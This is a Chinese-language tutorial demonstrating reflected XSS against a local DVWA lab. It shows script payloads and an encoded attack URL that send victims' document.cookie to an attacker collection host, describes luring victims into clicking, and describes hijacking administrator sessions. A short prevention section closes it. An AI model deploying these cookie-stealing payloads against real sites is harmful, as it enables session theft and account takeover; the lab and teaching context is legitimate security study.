XSS攻擊過程
大多數人對於XSS的原理有一個基本認識,這裏不再重復,只給出一個能夠演示其原理的完整樣例。
1 角色分配
- 有XXS漏洞的網站,IP地址http://127.0.0.1/dvwa/DVWA-master,PHP為開發語言
- 受害訪問者,瀏覽器為IE11
- 黑客的數據接收網站,IP地址http://127.0.0.1/xsser/index.php,xsser.me平臺
2 源碼實例
2.1 漏洞網站
該網頁把用戶通過GET發送過來的表單數據,未經處理直接寫入返回的html流,這就是XSS漏洞所在(輸入被寫入html代碼中並且返回展示);
比如在輸入框中輸入:<script src=http://127.0.0.1/xsser/HS8WzU
網頁的html腳本就變成了:
2.2 攻擊方法
在輸入框中輸入如下攻擊語句並提交:<script src=http://127.0.0.1/xsser/HS8WzU></script>
上面的src填寫的接受地址,是由XSS平臺生成(黑客接受網址):
PS:
如果是使用一個腳本來獲取xss攻擊的獵物,攻擊語句為:
"/> <script>window.open("http://黑客攻擊平臺的IP/xss_hacker.php?cookie="+document.cookie);</script><!--
這裏xss_hacker.php是攻擊文件,放到攻擊者黑客的網站服務器下。獲取來的cookies寫入到xss_hacker.php腳本中設置的txt文件中。
2.3 生成的url
最終生成的攻擊URL為:
http://127.0.0.1/dvwa/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F127.0.0.1%2Fxsser%2FHS8WzU%3E%3C%2Fscript%3E#接下來要做的就是,尋找受害人,誘惑其點擊上述URL;當有受害人點擊了這個url就執行了html中的腳本將cookies返給黑客。
明顯看出,這個html會去執行一個腳本,這個腳本功能是把用戶的cookie發送到黑客的接收網站。
2.4 獲取獵物
xss平臺的得到的cookie,如下:
黑客獲取cookies之後使用特定的瀏覽器或者工具,訪問論壇,並帶著獲取的cookies,就可以不用登陸即可以管理員賬戶登錄論壇。(正常的瀏覽器不能偽造cookies除非使用插件)
備註:
對於一些論壇網站,黑客通過提交帖子往html中註入獲取cookies的腳本,當管理員或者其他人點擊帖子的時候,就執行了該腳本,獲取管理員cookies,並且將cookies發送到黑客的網址。黑客獲取cookies之後使用特定的瀏覽器或者工具,訪問論壇,並帶著獲取的cookies,就可以不用登陸即可以管理員賬戶登錄論壇。(正常的瀏覽器不能偽造cookies除非使用插件)
3 攻擊流程:
1、黑客可以通過各種掃描工具或者人工輸入來找到有XSS漏洞的網站URL
2、構造攻擊字符串
3、確定獲取獵物的方式(xss平臺或者自己寫的腳本)
4、執行攻擊
5、獲取獵物:cookies或者用戶名密碼
6、利用獲取的敏感數據做壞事(可以使用獲取的cookies訪問網址,不需要輸入密碼)。
4 XSS的預防
XSS的預防可以從多方面著手:
(1)如前面所述,瀏覽器自身可以識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;
(2)從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全字符等手段,始終把安全放在心上;
(3)對於普通網民,需要註意盡量抵擋誘惑,別去點擊非知名網站的鏈接。
XSS攻擊過程